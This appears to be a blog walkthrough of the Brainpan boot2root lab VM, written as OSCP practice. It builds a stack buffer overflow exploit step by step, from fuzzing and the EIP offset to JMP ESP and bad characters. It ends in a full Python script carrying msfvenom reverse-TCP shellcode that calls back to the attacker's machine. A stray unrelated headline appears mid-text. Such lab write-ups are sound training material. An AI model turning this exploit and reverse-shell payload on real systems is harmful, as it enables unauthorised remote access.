Brainpan boot2root: p.1

Scanning and Enumeration

So as part of my OSCP labs I wanted to focus on a few machines with buffer overflows. So I decided to tackle brainpan. After downloading and uploading the .ova file I began a basic scan of my network with:

nmap -sP 192.168.0.*

Locating the VM on the network. I start the enumeration process with nmap and gobuster.

nmap -O -A -p- 192.168.0.168

Seems to be two ports open, one of which is an HTTP service and another unidentified service on port 9999. Let’s explore the HTTP web interface and run gobuster, but first I will attempt to identify port 9999 with telnet.

I attempted to login with the username root. I was given ACCESS DENIED. No luck I tried a string of AAAAAAA…s but no luck. So I decided to move on.

On the 10000 port We find an interesting image about safe and practical coding. Hmmmm… Leads me to believe maybe our little abyss port might have something to do with this. I moved on to running gobuster to enumerate some of the directories on this machine.

Quickly we see that there is a directory called bin. Let’s browser to this directory and see if we can find anything useful. Looks like there is an executable file.

I will download the executable to a windows machine and investigate it a bit further.

Now that I have the executable on my machine up and running I will need to scan it and see what operations are happening on the Windows machine from my Linux attacker machine.

After locating the IP address of the Windows machine and running the .exe file I have verified that this 9999 port or abyss has something to do with the brainpan.exe file. I will try to establish a connection below with our python proof of concept script and see if I can crash the program.

#!/usr/bin/python
import socket
import sys

junk = "A" * 500
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk)

We can see we have successfully attempted to connect with our junk A’s.

Now let’s see if we can increase the size of the junk buffer and cause a crash on the remote program. A buffer overflow is what we should be looking for in this program. We will need to do quite a few other things to catch a shell but let’s see what we can establish on this machine.

So I changed my proof of concept code form 500 A’s to 1000. We get a successful crash on the machine and we can now begin controlling EIP, finding a jump point, and establishing bad characters for our shellcode.

Crashing the Program

So we will start brainpan.exe and then attach immunity debugger.

Once we have done that we will attempt to crash the program again but instead of A’s we will use msg-pattern create to make a pattern we can easily use to identify the EIP registry.

So now our code should look something like this.

#!/usr/bin/python
import socket
import sys

#junk = "A" * 1000
junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk)

Now I will run this script and investigate the amount of characters it will take to write over EIP. Using !mona in Immunity Debugger I will run this script below once I cause the crash:

!mona findmsp

We can see our EIP is at character number 524

Now we will re-write our code to include 524 A’s and then 4 B’s after to gain control of EIP.

#!/usr/bin/python
import socket
import sys

junk = "A" * 524
eip = "B" * 4
shell = "C" * 472
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk + eip + shell)

We have now verified that we can gain control over EIP with 4 B’s in its place. Now all we need to do is find an unprotected module for our jump point in ESP, find bad characters in our shell code, and use msf-venom to build our reverse TCP connection.

Finding Modules / JMP ESP

We have located an unprotected module in brainpan.exe. Now we will need to use !mona to find a JMP ESP address. Running the command below in immunity:

 !mona find -s “\xff\xe4” -m brainpan.exe

We find a find a JMP ESP instruction at memory address 311712F3. I will add a comment to our code and begin searching for bad characters for our shell code.

#311712F3 JMP ESP 

New code:

#!/usr/bin/python
import socket
import sys

junk = "A" * 524
eip = "\xf3\x12\x17\x31"
#311712F3 JMP ESP
shell = "C" * 472
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk + eip + shell)

Now we will open the .exe and attach Immunity and begin the bad character analysis. So our new code should look something like this.

#!/usr/bin/python
import socket
import sys

junk = "A" * 524
eip = "\xf3\x12\x17\x31"
badchar="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
#311712F3 JMP ESP
#shell = "C" * 472
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk + eip + badchar)

Running our new code we can see that our script allows all characters except for known bad charcters.

So now we will modify our script and add shell code for our connection.

Shell Code

Turtle Power Turns 35: The Teenage Mutant Ninja Turtles Have Seriously  Matured

Now all I need to do is generate shell code to create a reverse TCP connection to my attacking machine.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.153 LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Here is our final python script:

#!/usr/bin/python
import socket
import sys

junk = "A" * 524
#character length to EIP register

eip = "\xf3\x12\x17\x31"
#!mona module
#!mona find -s JMP ESP -m brainpan.exe
#311712f3 brainpan.exe JMP ESP

nops = "\x90" * 20
#nops ;)

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.153 LPORT=9988 EXITFUNC=thread -f c -b "\x00"
shell = ("\xb8\x9c\x74\x52\xcf\xdd\xc4\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x31\x43\x12\x83\xc3\x04\x03\xdf\x7a\xb0\x3a\x23\x6a\xb6"
"\xc5\xdb\x6b\xd7\x4c\x3e\x5a\xd7\x2b\x4b\xcd\xe7\x38\x19\xe2"
"\x8c\x6d\x89\x71\xe0\xb9\xbe\x32\x4f\x9c\xf1\xc3\xfc\xdc\x90"
"\x47\xff\x30\x72\x79\x30\x45\x73\xbe\x2d\xa4\x21\x17\x39\x1b"
"\xd5\x1c\x77\xa0\x5e\x6e\x99\xa0\x83\x27\x98\x81\x12\x33\xc3"
"\x01\x95\x90\x7f\x08\x8d\xf5\xba\xc2\x26\xcd\x31\xd5\xee\x1f"
"\xb9\x7a\xcf\xaf\x48\x82\x08\x17\xb3\xf1\x60\x6b\x4e\x02\xb7"
"\x11\x94\x87\x23\xb1\x5f\x3f\x8f\x43\xb3\xa6\x44\x4f\x78\xac"
"\x02\x4c\x7f\x61\x39\x68\xf4\x84\xed\xf8\x4e\xa3\x29\xa0\x15"
"\xca\x68\x0c\xfb\xf3\x6a\xef\xa4\x51\xe1\x02\xb0\xeb\xa8\x4a"
"\x75\xc6\x52\x8b\x11\x51\x21\xb9\xbe\xc9\xad\xf1\x37\xd4\x2a"
"\xf5\x6d\xa0\xa4\x08\x8e\xd1\xed\xce\xda\x81\x85\xe7\x62\x4a"
"\x55\x07\xb7\xdd\x05\xa7\x68\x9e\xf5\x07\xd9\x76\x1f\x88\x06"
"\x66\x20\x42\x2f\x0d\xdb\x05\x90\x7a\xe3\x4c\x78\x79\xe3\x49"
"\x7d\xf4\x05\xff\x6d\x50\x9e\x68\x17\xf9\x54\x08\xd8\xd7\x11"
"\x0a\x52\xd4\xe6\xc5\x93\x91\xf4\xb2\x53\xec\xa6\x15\x6b\xda"
"\xce\xfa\xfe\x81\x0e\x74\xe3\x1d\x59\xd1\xd5\x57\x0f\xcf\x4c"
"\xce\x2d\x12\x08\x29\xf5\xc9\xe9\xb4\xf4\x9c\x56\x93\xe6\x58"
"\x56\x9f\x52\x35\x01\x49\x0c\xf3\xfb\x3b\xe6\xad\x50\x92\x6e"
"\x2b\x9b\x25\xe8\x34\xf6\xd3\x14\x84\xaf\xa5\x2b\x29\x38\x22"
"\x54\x57\xd8\xcd\x8f\xd3\xf8\x2f\x05\x2e\x91\xe9\xcc\x93\xfc"
"\x09\x3b\xd7\xf8\x89\xc9\xa8\xfe\x92\xb8\xad\xbb\x14\x51\xdc"
"\xd4\xf0\x55\x73\xd4\xd0")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))

s.recv(1024)
s.send(junk + eip + nops + shell)

So I will restart the brainpan.exe and run my python script being sure to put in the IP of my brainpan virtual machine.

And I am in…

Check out my next post on the brainpan privilege escalation.

Leave a Reply

Your email address will not be published. Required fields are marked *